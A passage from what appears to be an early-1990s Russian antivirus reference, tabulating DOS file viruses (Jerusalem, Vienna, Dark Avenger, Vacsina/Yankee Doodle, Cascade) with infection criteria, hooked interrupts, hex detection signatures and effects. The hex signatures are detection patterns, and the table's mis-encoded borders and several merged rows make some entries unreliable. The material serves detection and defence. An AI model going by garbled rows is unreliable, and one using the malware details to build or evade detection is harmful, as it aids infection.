r - нарушение работы некоторых резидентных программ вследствие
использования вирусом общих с ними системных прерываний;
t - (twins) сращивание цепочек в FAT;
v - (video) - мерцание монитора или выдача на экран каких-то случайных последовательностей символов;
x - (eXtended) повреждение расширенных EXE-файлов, т.е. таких,
у которых длина, указанная в элементе оглавления больше
длины, указанной в заголовке. При запуске таких программ в
память загружается только то количество байтов, которое
определено в заголовке файла. Оставшаяся область дискового
пространства может использоваться как буфер или как неявный
оверлей.
3. В предикате P указываются критерии выбора жертвы для заражения: имя файла, атрибуты, дата создания,
минимальная и максимальная длина заражаемых файлов (указываются через черточку):
Atr - атрибуты. Для атрибутов указываются обозначения битов при которых заражение файлов не происходит,
если таковые существуют):
r - READ_ONLY - не заражает файлов с этим атрибутом;
h - HIDDEN - не заражает файлов с этим атриутом;
z - (zapped) вирус снимает имеющиеся у файла атрибуты и не восстанавливает их после заражения файла;
d - дата создания заражаемых файлов не должна совпадать с текущим месяцем и датой;
LenC, LenE, LenCE - длины файлов типа COM, EXE и COM&EXE соответственно
MaxC - максимальная длина COM-файла, длина которого после инфицирования данным вирусом
не превысит 64 Кбайт (MaxC = 64K - <длина вируса>);
Name - имя файла.
Date - дата создания файла
4. В списке Н указаны номера прерываний, перехватываемые данным вирусом.
5. Резидентные вирусы часто конфликтуют с другими резидентными программами. Это может приводить к зависанию системы,
выдаче ошибок (деление на ноль, переполнение и др.), зацикливании при загрузке MS DOS и другим побочным эффектам.
6. Символом * помечены названия вирусов, выдаваемые полидетектором Scan при обнаружении М-сигнатур, символом #
- названия, используемые в VIRUS INFORMATION SUMMARY LIST, составленном Патрицией М. Хоффман (Patricia M. Hoffman) а
символом $ - названия, выдаваемые полидетектором TNTVIRUS (фирмы CARMEL). Символом + обозначено продолжение
Некоторые вирусы группы TP идентифицируется детектором SCAN как одновременно присутствующие вирусы Yankey Doodlе и
Vacsina, что обычно не означает зараженности программы двумя вирусами одновременно. Для вирусов Yankee Doodle SCAN
использует M-сигнатуру 35CD218BF38CC7, которая для экономии места в таблице не приводится. Информация по ряду вирусов
неполна.
7. Вирусы упорядочены по возрастанию классификационной характеристики. Для вирусов, отсутствующих в СССР, в качестве
классификационной характеристики используется величина, приводимая П.Хоффман или в документации к полидетектору SCAN.
Символы nnnn в классификационном коде вируса означают, что сведения о размере цифровой характеристики отсутствуют.
8. В графе Распр. указана степень распространенности вируса в СССР (оценка автора). Степень распространенности дается
по пятибальной шкале (1 - обнаружен только в одном городе и о других случаях информация не поступала, 2 - в нескольких городах,
кроме Москвы и Киева; 3 - случаи заражения отмечались и в Москве и в Киеве, 4 - во многих крупных городах, 5 - практически
повсеместно).
9. В графе Динамика указывается динамику распространения данного вируса на момень составления таюлицы
( < - нарастание эпидемии, * - пик эпидемии, > - спад эпидемии, ~ - практически повсеместно уничтожен).
10. Вертикальной чертой (_) слева от неформального названия помечены новые вирусы и вирусы, информация о которых была
дополнена или изменена по сравнению с редакциями 3.1-3.9.
11. Для неизвестных в СССР вирусов можно попытаться использовать полифаг CLEAR, входящий в пакет антивирусных средств,
распространяемых фирмой McAfee Associates как SHAREWARE, однако в качестве выкусывания этого полифага есть основания
сомневаться, поэтому рекомендуется сделать резервные копии зараженных программ перед выкусыванием, а само выкусывание
проводить на дискете, а не на винчестере.
12. В графе Группа указано к какой группе приндлежит данный вирус. Если после обозначения группы или вместо нее
стоит один или несколько восклицательных знаков, то данный вирус представляет значительную опасность и более подробно
рассмотрен в основном тексте. При этом используется следующее обозначение групп:
Ven - венская
Ier - иерусалимская
TP - болгарская TP-группа
Dcr - DataCrime
DAv - группа Dark Avenger
ДДДДДДДДДДДДДДДДДВДДДДДДДДДВДДДВДВДВДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДВДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДї
_ _ Г _Р_Д_ Дескриптор, сигнатуры и фаги данного вируса _ _
Неформальные _Классифи-_ р _а_иГДДВДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_ Страна и дата обнаружения, _
названия _кационный_ у _с_н_B _ _ фамилия исследователя обнаружевшего _
_код _ п _п_а_и _ Значение _ и изолировавшего вирус (если известны), _
_вируса _ п _р_м_д _ _ вызываемые эффекты _
_ _ а _о_и_ _ _ _
_ _ _с_к_ _ _ _
_ _ _т_а_ _ _ _
_ _ _р_ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_ Kemerovo-Reset _ C-257 _ _1_ _D _Ar Ba Cy Dt Itc K1 Mn Sc _СССР (Кемерово), июль 1990, Сусликов Е. _
_ (Кемеровская _ _ _ _ _P _ _Заражает все COM-файлы в текущем каталоге. _
_ перезагрузка) _ _ _ _ _B1_ _Иногда вызывает перезагрузку MS DOS. Не _
_ _ _ _ _B2_5A 52 89 D6 81 C6 C1 00 89 D8 2D 04 00 _закрывает файлы, открываемые файлы (по _
_ _ _ _ _T _*.COM _одному на заражаемую программу), причем _
_ _ _ _ _ _ _открыть их может очень много. Портит время _
_ _ _ _ _ _ _Не блокирует сообщения о защите от записи. _
_ _ _ _ _ _ _Зараженные программы теряют способность _
_ _ _ _ _ _ _обрабатывать параметры. _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
IV-345 _ C-345 _IV _1_~_D _Ab Bat Cy Dn Ee Ihc K1 Li Mn Sc _Западная Европа: 1988; СССP: 1989 _
$ Pixel-1 _ _ _ _ _P _0 =80286 _Н.Н.Безруков _
_ _ _ _ _H _1C, 21 _Простой, плохо отлаженный вирус. _
_ _ _ _ _J _2E8B1E010183C303B104D3EB8CD803C3 _Уничтожает несколько секторов на диске, _
_ _ _ _ _ _ _выбирая их случайным образом и записывая _
_ _ _ _ _ _ _в них содержимое участка оперативной памяти _
_ _ _ _ _F _-V, NEATFAG, K32 _Копирует себя в область векторов прерываний,_
_ _ _ _ _ _ _начиная с 0000:0200h _
_ _ _ _ _ _ _На PC/XT не работоспособен. _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_ 13 месяц-Б, _ С-507 _Ven_1_ _D _An Ba Cy Dm13 Ee Itc Jn K1 Li Mn Ry Sc _Польша: 1988 _
_ Toothless-B _ _ _ _ _DP_256 < LenC _Штамм вируса С-534. При заражении программы _
_ (Беззубый), _ _ _ _ _T1_????????COM _изменяет ее дату с установкой месяца на 13 _
_*# W13-B _ _ _ _ _T2_Мicrosoft _(признак зараженности). Заражает файлы толь-_
_ _ _ _ _ _F _MKS_VIR _ко в текущем каталоге. _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*#$ 512 _ RC-O-512_DAv_1_<_D _Cy _Болгария: ноябрь 1989, Весселин Бончев(?) _
_ _ _!!!_ _ _M1_8B D8 53 B8 20 12 CD 2F 26 8A 1D B8 _ВНИМАНИЕ !!! Очень опасный и скрытно размно-_
_Number of the _ _ _ _ _M2_01 8C 45 70 1F 89 57 14 8C CA 8E DA _жающийся вирус второго поколения. _
_Beast Virus, _ _ _ _ _C _1EC54408720AB413CD2F1E52CD2F581F _Первый сегментированный вирус, хранящий _
_(вирус апокалип- _ _ _ _ _T _666 _хвост в свободном секторе последнего класте-_
_сического числа),_ _ _ _ _ _ _ра, распределенного зараженному файлу. _
_Stealth Virus _ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_При инсталляции в оперативной памяти занима-_
_(Стелс вирус) _ _ _ _ _ _ _ет часть памяти, отведенной под буфера. _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
529, _RС-529 _Ier_1_ _D _An Bn Cn Dn Ee Ihc Jn K1 Lx Mn Se _CCCР (Ленинград): весна 1989, Лозинский Д.Н._
Peterburg, _ _/ВП_ _ _P _529 < LenC < +oo _Возможно, штамм RСE-1813,однако не исключено_
Пакость-1 _ _ _ _ _B _B815CA8B361B01BF00018B0E1D018B1E19 _что наоборот - одна из ранних версий _
_ _ _ _ _F _AIDSTEST, AV _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
13 месяц, _ С-534 _Ven_2_ _D _An Ba Cy Dm13 Ee Itc Jn K1 Li Mn Sc Za _Польша: 1988. _
Микро-88 _ _ _ _ _P _529 < LenC < MaxC _Штамм вируса С-648. При заражении программы_
Toothless Virus, _ _ _ _ _B _D681C60000FCB90300BF0001F3A48BFAB4 _изменяет ее дату с установкой месяца на 13 _
(Беззубый), _ _ _ _ _M1_F3 A4 8B FA B4 30 CD 21 3C 00 _(признак зараженности) В отличие от С-648 _
*# W13 _ _ _ _ _T1_????????COM _заражает файлы только в текущем и корневом _
_ _ _ _ _T2_Мicrosoftyright _каталогах. _
_ _ _ _ _T3_Microsoft 1988 _ _
_ _ _ _ _F _AV, -V, AIDSTEST _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_ 600, _ RC-600 _Ier_1_ _D _An Ba Cy Dn Ee Ihc Jn K1 Li Mc Se _Днепропетровск, май 1990, А.Сесса. _
_ Пакость-2 _ _ _ _ _P _600 _D _Arbk Ba Cy Ds Ee Itc Jn K1 Li Sс Zb _Австрия, апрель 1988. СССР: август 1988 _
(Вена-А), _ _ _ _ _P _10 < LenC < MaxC _Поражает примерно каждый восьмой заражаемый _
DOS-62 _ _ _ _ _M _8BFE81C71F008BDE81C61F00 Штамм A _файл, так что при его запуске инициируется _
(ДОС-62), _ _ _ _ _M _8BFE83C71F908BDE83C61F90 Штамм B _перезагрузка MS DOS. При поражении _
Rebooter _ _ _ _ _I _FC8BF281C60A00BF0001B90300F3A4 _COMMAND.COM или программы, входящей в _
(перезагрузчик),_ _ _ _ _+ _8BF2B430CD213C007503E9C701 _AUTOEXEC.BAT, происходит зацикливание на _
Time Bomb _ _ _ _ _J _51 ** ** ** FC 8B F2 81 C6 0A 00 BF 00 01 _перезагрузке MS DOS. Один из наиболее ранних_
(часовая мина),_ _ _ _ _T1_*.COM _и распространенных в Европе и СССР вирусов. _
UNESCO(ЮНЕСКО)_ _ _ _ _T2_PATH= _Имеются многочисленные штаммы. Пик эпидемии _
Wiener (Винер)_ _ _ _ _T3_????????COM _в СССР отмечен в начале 1989 года. _
_ _ _ _ _F _AIDSTEST, AV _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
IV-740 _ C-740 _IV _1_ _D _An Ba Cy Dn Ee Ihc Km Li Mn Sc _Многократно заражает программы _
_ _ _ _ _P _0 _по адресу 0000:01CE-0000:03EB, которая через_
_ _ _ _ _T2_є Skagi bebe > є _10 мин.после загрузки выводит на экран сооб-_
_ _ _ _ _T3_ИННННННННННННННННННННННН_ _щение T1-T3 и из-за ошибки зацикливается. _
_ _ _ _ _T4_Fig Tebe ! _Машину приходится перегружать кнопкой RESET _
_ _ _ _ _T5_*.COM _или выключением питания. _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
TP-5, _RCE-1206 _TP _3_>_D _An Bh Cy Dn Es Itp-tp Jj K12 Li Se _Болгария: начало 1989. _
Vacsina-5 _ _ _ _ _P _1212 < LenCE < MaxC & FIRST='E9' _EXE-файлы заражаются в два этапа: cначала _
(Вакцина-5), _ _ _ _ _H _21 _увеличиваются на 132 байта, переделываясь _
* Vacsina _ _ _ _ _M1_17 26 C5 B5 00 01 83 C7 _из EXE в COM для системы (суффикс EXE не _
(Вакцина) _ _ _ _ _M2_B8 01 43 8E 5E 0E 8B 56 06 2E _меняется), а затем заражаясь как COM-файлы. _
_ _ _ _ _C _26A1C5003D7F39750826A0C7003C0573 _Поражаются файлы до 63К. Создает скрытый _
_ _ _ _ _T _VACSINA _файл на диске. _
_ _ _ _ _B _F47A05 _При заражении файла раздается звуковой сиг- _
_ _ _ _ _F _AIDSTEST,AV,-V,K32 _нал (BELL). _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
TP-4, _RCE-1212 _TP _3_>_D _An Bmh Cy Dr Es Itp-tp Jj K12 Li Se _Болгария: начало 1989 (В.Бончев); _
Vacsina-4 _ _ _ _ _P _1212 < LenCE < MaxC & FIRST='E9' _СССР: весна 1989 (В.Котик). _
(Вакцина-4), _ _ _ _ _H _21 _Практически идентичен RCE-1805 (TP-5). _
* Vacsina _ _ _ _ _M1_17 26 C5 B5 00 01 83 C7 _Произвольно изменяет дату создания файла. _
_ _ _ _ _M2_B8 01 43 8E 5E 0E 8B 56 06 2E _Создает скрытый файл на диске _
_ _ _ _ _C _C5003D7F39750826A0C7003C0473328B _При заражении файла раздается звуковой сиг- _
_ _ _ _ _T _VACSINA _нал (BELL). _
_ _ _ _ _B _F47A04 _ _
_ _ _ _ _F _AIDSTEST,AV,-V,K32 _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_ Merphy _RCE-1277 _ _3_<_D _An Bam Cy Dn Es Itc-tc Jn K11 Li Seo _CCCP (Киев), июнь 1990, А. Шеховцов _
_ _ _ _ _ _P _1277 _D _An Bn Cy Dn Es Itp-tp Jj K11 Li Se _Болгария: 1988 _
Vacsina-16 _ _ _ _ _P _1339 < LenCE < MaxC _В отличие от TP-5 EXE-файлы заражаются в _
(Вакцина-16), _ _ _ _ _H _21 _один прием, сохраняя идею переделки из EXE_
*$ Vacsina _ _ _ _ _M1_17 26 C5 B5 00 01 83 C7 _в COM. В отличие от RCE-1212 и RCE-1206 _
(Вакцина-16), _ _ _ _ _M2_B8 01 43 8E 5E 0E 8B 56 06 2E _файлы заражаются вне зависимости от значения_
*$ Vacsina _ _ _ _ _C _26A1C5003D7F39750826A0C7003C1073 _первого байта _
_ _ _ _ _T _VACSINA _ _
_ _ _ _ _B _F47A10 _ _
_ _ _ _ _F _AIDSTEST,AV,-V,K32 _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_ 1600, _RCE-1600 _Ier_1_<_D _Cy Ihc-tc L1600 Se-eo _СССР (Воронеж): 12.06.90 А.Н.Мартемьянов _
_ Voronezh 2.01 _ _/ВП_ _ _P _1600 _D _An Bav Cy Dn Es Itc Jx K1 Li Mс Se Zbr _ФРГ(Университет Констансы) сентябрь 1988; _
(Каскад,сыпучка), _ _ _ _P _0 < LenC < 63800 _СССР: осень 1988 _
Falling letters_ _ _ _ _H _1C, 21, 28 _Осенью 1980 и 1988 г (Сент,Окт,Нояб.,Дек) _
(Буквопад, _ _ _ _ _I _FA8BECE800005B81EB31012EF6872A01017 _создает оригинальный эффект на CGA,EGA и VGA_
падающие буквы)_ _ _ _ _+ _40F8DB74D01BC820631343124464C75F8 _опадание букв с вышибанием нижестоящих, _
BlackJack _ _ _ _ _M _31 34 31 24 46 4C 77 F8 (* неудачна *) _сопровождаемое шорохом. Создает помехи при _
(Черный Джек), _ _ _ _ _С _0F8DB74D01BC820631343124464C75F8 _работе, поскольку на время опадания букв _
Herbst(laub) _ _ _ _ _J _01 FA 8B EC E8 00 00 5B 81 EB 31 01 2E _блокируется клавиатура. Полидетектор SCAN _
$ 1701 File virus_ _ _ _ _F _AIDSTEST, AV, DOCTOR, ANTI-KOT _дает много ложных срабатываний. _
Falling tears, _ _ _ _ _ _ _Пик эпидемии в СССР отмечен весной 1989 года_
Autumn leaves _ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
TP-24, _RCE-1760 _TP _2_>_D _An Bm By Cy Dn Es Itp-tp Jx K11 Li Se _Болгария: 1988. _
Музыкальная _ _ _ _ _P _256 < LenCE < MaxC _20-секундное звучание мелодии при попытке _
перезагрузка-24_ _ _ _ _H _1,9,21 _выполнить теплый рестарт (СTRL-ALT-DEL), _
*$ Vacsina _ _ _ _ _M _17 26 C5 B5 00 01 83 C7 _после звучания идет нормальная перезагрузка._
_ _ _ _ _B _F47A18 _ _
_ _ _ _ _C _A000CD21B80125BA3505CD21BA65009C _ _
_ _ _ _ _F _AIDSTEST, AV, DOCTOR, ANTI-KOT _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
*$ Dark Avenger _RCE-1800 _DAv_5_>_D _As Bn Cy Dn Es Itc-tp Jn K11 Li Mhm Ser _Болгария, 1989; СССР: сентябрь 1989. _
(Черный _ _ _ _ _P _1774 < LenCE _Уничтожение сектора диска после каждых _
мститель), _ _ _ _ _H _13, 21,27 _16 инсталляций. Вирус заражает файлы _
Eddie (Эдди), _ _ _ _ _M _A1 4F 07 89 07 2E A1 51 _не только при выполнении, но и при чтении _
Diana _ _ _ _ _C1_75088B57085B53CD26585E33C08ED82E штамм 1 _или записи в файл. Поэтому запуск фага, или _
(Диана) _ _ _ _ _С2_7C0226A186002E89877E02B85AA5CD21 штамм 2 _ревизора, не контролирующего наличие вируса _
_ _ _ _ _T1_Eddie lives...somewhere in time! _в памяти приводит (на зараженной машине) _
_ _ _ _ _T2_Diana P. _к заражению всех проверяемых файлов _
_ _ _ _ _T3_This program was written in the city _ _
_ _ _ _ _+ _of Sofia (C) 1988-89 Dark Avenger _ _
_ _ _ _ _F _AIDSTEST, AV, DOCTOR, ANTI-KOT _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
TP-25, _RCE-1805 _TP _4_>_D _An Bm By Cy Dn Es Itp-tp Jx K11 Li Se _см. TP-24 _
Музыкальная _ _ _ _ _P _256 < LenCE < MaxC _ _
перезагруз- _ _ _ _ _H _1,9,21 _ _
ка-25, _ _ _ _ _M _35 CD 21 8B F3 8C C7 _ _
*$ Vacsina _ _ _ _ _B1_9C FA 2E FF 1E 14 00 C3 _ _
_ _ _ _ _B2_F4 7A 19 _ _
_ _ _ _ _J _E8 00 00 5B 2E 89 87 6D FC 2E FE 87 71 FC _ _
_ _ _ _ _C _2125BAA000CD21B80125BA6205CD21BA _ _
_ _ _ _ _F _TP48CLS, AIDSTEST, AV, DOCTOR, ANTI-KOT _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
* Jerusalem _RСE-1813 _Ier_5_>_D _Ad Bvs Cn Dn Ee Ihc-tmp Jn K1m L1808 Se _Израиль(Иерусалим): дек. 1987,Yisrael Radai;_
(Иерусалим), _ _ _ _ _+ _To Zoex _СССР: осень 1988. _
Black Fridaу _ _ _ _ _P _0 < LenCE < +oo _Уменьшение быстродействия, зависание DOS с_
(Черная _ _ _ _ _H _8,21 _сообщением Stack overflow; появление на _
пятница), _ _ _ _ _M _122EC7061F000100505156 штамм B _экране черного квадрата в левом углу. _
Israeli virus _ _ _ _ _M _E9920000000000000000000 штамм B-2 _уничтожение запускаемых программ по пятницам_
(Израильский _ _ _ _ _I _8ED0BC000750B8C50050CBFC062E8C0631 _приходящимся на 13 число. _
вирус), _ _ _ _ _+ _002E8C0639002E8C063D002E8C0641008CC0 _ Один из наиболее распространенных во всем_
Black Hole _ _ _ _ _J _FC B4 E0 CD 21 80 FC E0 73 16 80 FC 03 72 _мире вирусов (включая СССР). Пик эпидемии _
(Черная дыра) _ _ _ _ _T1_sUMsDos _в СССР отмечен весной и летом 1989 г. _
$Friday 13th _ _ _ _ _T2_COMMAND.COM _Имеются многочисленные штаммы. _
_ _ _ _ _F _AIDSTEST, AV, DOCTOR, ANTI-KOT _ _
_ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
* Yankee Doodle-2_RE-1961 _ _1_ _D _Xm _Болгария, 1989; СССР: 1990 _
$ Yankee Doodle B_ _ _ _ _H _21 _При запуске зараженного файла _
_ _ _ _ _M _ _играется мелодия Yankee Doodle _
_ _ _ _ _C1_370881EE030103F38904BE390881EE03 штамм В1 _ _
_ _ _ _ _С2_E60681EE030103F38904BEE80681EE03 штамм В2 _ _
_ _ _ _ _T _mother fucker _ _
_ _ _ _ _F _AIDSTEST, AV, DOCTOR, ANTI-KOT _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
Bontchev _RCE-02000_DAv_3_<_D _As By Cy Ds Es Itc-tс Jn K11 Li Mlhm Ser _Болгария: начало 1990. _
(Бончев), _ _ _ _ _P _1959 < LenCE _Штамм RCE-1800. Уничтожает сектора _
* V2000, _ _ _ _ _H _ _диска после каждых 16 инсталляций. _
Диана-2 _ _ _ _ _B _E800005E81EE6300FC2EF69489072E81 _При выдаче команд DIR и т.п коррек- _
_ _ _ _ _M _B4 51 E8 39 FD 8E C3 26 8B _тирует длину зараженных файлав (опре- _
_ _ _ _ _C _F71FC40684002E898418082E8C841A08 _деляя их по значению 62 в поле секунд), _
_ _ _ _ _T1_Zopy me - I want to travel _вычитая из нее 2000. _
_ _ _ _ _T2_(c) 1989 by Vesselin Bontchev. _ _
_ _ _ _ _TC_Диана П. _ _
_ _ _ _ _F _AV, -V, AIDSTEST _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
TP-34, _RCE-2568 _TP _3_>_D _An Bm Cy Dn Es Itp-tp Jn K11 Li Mmt Se _ см. TP-33 _
*$Yankey Doodlе _ _ _ _ _P _32 < LenCE _ _
(Янки Дудль) _ _ _ _ _H _1,3,1C,21 _ _
_ _ _ _ _B _F4 7A 22 _ _
_ _ _ _ _C _2125BAF402CD21B80125BAA707CD21BA _ _
_ _ _ _ _T _ 0505050505050505h ((8)05h) _ _
_ _ _ _ _F _TP48CLS,AIDSTEST, AV, DOCTOR, ANTI-KOT _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
TP-33, _RCE-2680 _TP _3_>_D _An Bm Cy Dn Es Itp-tp Jn K11 Li Mmf Se _При трассировке на зараженной ПЭВМ _
*$Yankey Doodlе _ _ _ _ _P _32 < LenCE _наблюдается эффект самоизлечения. _
(Янки Дудль) _ _ _ _ _H _1,3,1C,21 _В 17.00 исполняется мелодия Yankey Doodlе _
_ _ _ _ _B _F4 7A 21 _Dandy _
_ _ _ _ _C _25BA0403CD21B80125BA0D08CD21BAD1 _ _
_ _ _ _ _T _ 0505050505050505h ((8)05h) _ _
_ _ _ _ _F _TP48CLS,AIDSTEST, AV, DOCTOR, ANTI-KOT _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
TP-38, _RCE-2756 _TP _3_>_D _An Bm Cy Dn Es Itp-tp Jn K11 Li Mmf Se _Данная и последующие версии группы _
*$Yankey Doodlе _ _ _ _ _P _32 < LenCE _TP-вирусов не видны при просмотре _
(Янки Дудль) _ _ _ _ _H _1,3,1C,21 _списка резидентных программ. Выкусывает ви- _
_ _ _ _ _B _F4 7A 26 _рус RCE-1805 при заражении программ. _
_ _ _ _ _C _2125BA6403CD21B80125BA8A08CD21BA _ _
_ _ _ _ _T _ 0505050505050505h ((8)05h) _ _
_ _ _ _ _F _TP48CLS,AIDSTEST, AV, DOCTOR, ANTI-KOT _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
TP-39, _RCE-2772 _TP _3_>_D _An Bm Cy Dn Es Itp-tp Jn K11 Li Mmf Se _см. TP-38 _
*$Yankey Doodlе _ _ _ _ _P _32 < LenCE _ _
(Янки Дудль) _ _ _ _ _H _1,3,1C,21 _ _
_ _ _ _ _B _F4 7A 27 _ _
_ _ _ _ _C _ _ _
_ _ _ _ _T _ 0505050505050505h ((8)05h) _ _
_ _ _ _ _F _TP48CLS,AIDSTEST, AV, DOCTOR, ANTI-KOT _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
TP-44, _RCE-2885 _TP _5_>_D _An Bm Cy Dn Es Itp-tp Jn K11 Li Mmf Se _См. TP-41 _
Самоед-44, _ _ _ _ _P _32 < LenCE _Мелодия Yankey Doodlе Dandy проигрывается _
Five o'clock _ _ _ _ _H _1,3,1C,21 _в 17.00 не каждый раз, а с вероятностью 1/8 _ _
(17 часов), _ _ _ _ _B _F4 7A 2C _ _
*$Yankey Doodlе _ _ _ _ _T _ 0505050505050505h ((8)05h) _ _
_ _ _ _ _J _E8 00 00 5B 81 EB D4 07 2E C6 87 5C 00 FF _ _
_ _ _ _ _C _0125BAF708CD21BA37029C8BC3052C09 _ _
_ _ _ _ _F _TP48CLS,AIDSTEST, AV, DOCTOR, ANTI-KOT _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
